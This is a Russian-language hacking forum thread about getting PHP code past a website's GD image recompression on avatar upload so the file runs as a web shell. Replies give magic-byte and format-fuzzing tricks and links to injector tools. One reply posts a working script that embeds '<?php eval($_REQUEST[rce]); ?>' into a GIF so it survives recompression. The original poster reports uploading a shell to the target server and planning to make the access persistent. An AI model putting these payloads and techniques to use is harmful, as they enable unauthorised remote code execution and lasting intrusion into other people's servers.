Сжатие картинки с php-кодом

Discussion in 'Песочница' started by Flashid, 18 Jan 2023.

  1. Flashid

    Flashid New Member

    Joined:
    16 Jan 2023
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Всем привет. Есть сайт. Позволяет загрузить файл на аватар с любым расширением и сохраняет его под ним же. Но есть проблема.
    После загрузки происходит пережатие с помощью, как я думаю, GD либы и весь встроеный код, хоть в exif, хоть где идет по... Может кто знает, возможно ли обойти подобную защиту?
    Перечитал кучу статей в сети - ничего не помогает. Надеюсь на вас. Заранее спасибо.
     
  2. Flashid

    Flashid New Member

    Joined:
    16 Jan 2023
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Спасибо тебе за информацию. К сожалению, пока все попытки неудачны, но я буду пытаться.
    Вот этот метод https://github.com/dlegs/php-jpeg-injector/blob/master/gd-jpeg.py
    при загрузке сгенерированной им картинкой с расширением test.jpeg.php и последующим обращением начал выдавать 500. Думаю это из-за того, что внутри есть символы <?.
    А после них все стерто. Может мне как-то удасться оставить больше php кода.
    Будем пытаться =)
     
  3. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    преобразование происходит если парсер видит нужные секции в файле, но если секций нет то возможно и удасться проскачить преобразование? попробуй через хексредактор вставить магические байты в начало и дальше пхп код в открытом виде.

    [​IMG]

    вставка в hexeditor банальная, открыл файл и руками перебил первые байты на 47 49 46 38 37 61 . Ну и как вариант пофазить разные форматы, может быть что допустимый список форматов больше чем функционал пережималки.

    [​IMG]

    после загрузки скачай файл и проверь hexeditor как он выглядит внутри. Да и вообще чуть развернутее нужно писать посты если хочешь получить помощь а то в двух словах как ты написал "пробовал не выходит" мало дает информации.
    Так же интересно какой код ты инжектишь, возможно он слишком длинный или содержит так сказать bad chars
     
    Flashid likes this.
  4. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    сгенерируй файл и залей куда нибудь чтоб мы могли посмотреть его байты, но заливай есесно не на фотохостинг а в архиве на файлообменник.

    p.s. еще вариант https://www.cyberpunk.rs/pixload-image-payload-creating-and-injecting-tools
     
    #5 b3, 18 Jan 2023
    Last edited: 18 Jan 2023
    Flashid likes this.
  5. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Пятисотить может из-за ошибки парсера интерпретатора, либо по причине отсутствия/блокировки функции в обрабатываемом коде. На вход этим генераторам лучше подавать уже обработанное, на стороне целевого сервера, изображение. Таким образом, избежим разницу между версиями графических библиотек, так как с версиями может многое меняться, сжатие, алгоритмы, значения по умолчанию и тому подобное. Если одна встраиваемая нагрузка не стреляет, есть смысл разбавить её чем-то, либо как-то видоизменить. При отрицательных результатах, пробовать изображения другого размера, и так по кругу.

    Ещё можно поробовать GIF формат. Сходу чего-то умного в гугле не нашёл, но можно успешно заинжектить моим стареньким скриптом:

    PHP:
    <?php

    if(!isset($argv[1]))
         die(
    'php '.$_SERVER['SCRIPT_NAME'].' file.gif');

    $file file_get_contents($argv[1]);
    $payload '<?php eval($_REQUEST[rce]); ?>';
    $buffer '';

    for(
    $i 0$i <= strlen($file); $i++){
     
      
    $tmp '/tmp/'.$i.'.gif';
     
      if(@
    imagegif(imagecreatefromstring($buffer.$payload.str_replace($buffer''$file)), $tmp)){
      if(!
    strpos(file_get_contents($tmp), $payload)) unlink($tmp);
      else die(
    $tmp." OK\n");
      }
     
      
    $buffer .= $file[$i];
      echo 
    $i."\n";
     
    }

    ?>
    Входной файл должен быть около 5kb.

    Также, совсем забыл забыл упомянуть, если происходит ресайз, кроп или что-то подобное, то вышеупомянутые методы работать не будут. Поэтому есть смысл, более чем внимательно, изучить разницу входной и выходной картинки с атакуемого хоста.
     
    #6 crlf, 19 Jan 2023
    Last edited: 19 Jan 2023
    Flashid likes this.
  6. Flashid

    Flashid New Member

    Joined:
    16 Jan 2023
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Коллеги. Очень благодарен всем за помощь и советы. Получилось!
    Этапы:
    1) Создал .jpeg
    2) Залил на сервер.
    3) Скачал ту, которая сжалась сервером. (Как и ожидалось кропалось по центру с качеством 50 GDшкой)
    4) Потом скормил сжатую вот этому товарищу https://github.com/dlegs/php-jpeg-injector
    5) Залил на сервер.
    Крупный шелл не лился, а коротенький легко. Теперь придумаю, как закрепиться и все.
    Спасибо еще раз!
     
    crlf likes this.
Loading...
Similar Threads - Сжатие картинки кодом
  1. raarkil
    Replies:
    4
    Views:
    6,212